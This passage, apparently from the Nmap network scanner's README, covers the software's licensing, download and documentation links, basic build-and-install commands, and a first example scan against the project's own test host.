Nmap is released under a custom license, which is based on (but not compatible

a commercial license for companies that wish to redistribute Nmap technology
with their products. See [Nmap Copyright and Licensing](https://nmap.org/book/man-legal.html)
for full details.
The latest version of this software as well as binary installers for Windows,
macOS, and Linux (RPM) are available from
[Nmap.org](https://nmap.org/download.html)
Full documentation is also available
[on the Nmap.org website](https://nmap.org/docs.html).
Questions and suggestions may be sent to
[the Nmap-dev mailing list](https://nmap.org/mailman/listinfo/dev).
Installing
----------
Ideally, you should be able to just type:
    ./configure
    make
    make install
For far more in-depth compilation, installation, and removal notes, read the
[Nmap Install Guide](https://nmap.org/book/install.html) on Nmap.org.
Using Nmap
----------
Nmap has a lot of features, but getting started is as easy as running `nmap
scanme.nmap.org`. Running `nmap` without any parameters will give a helpful
list of the most common options, which are discussed in depth in [the man
page](https://nmap.org/book/man.html). Users who prefer a graphical interface
can use the included [Zenmap front-end](https://nmap.org/zenmap/).
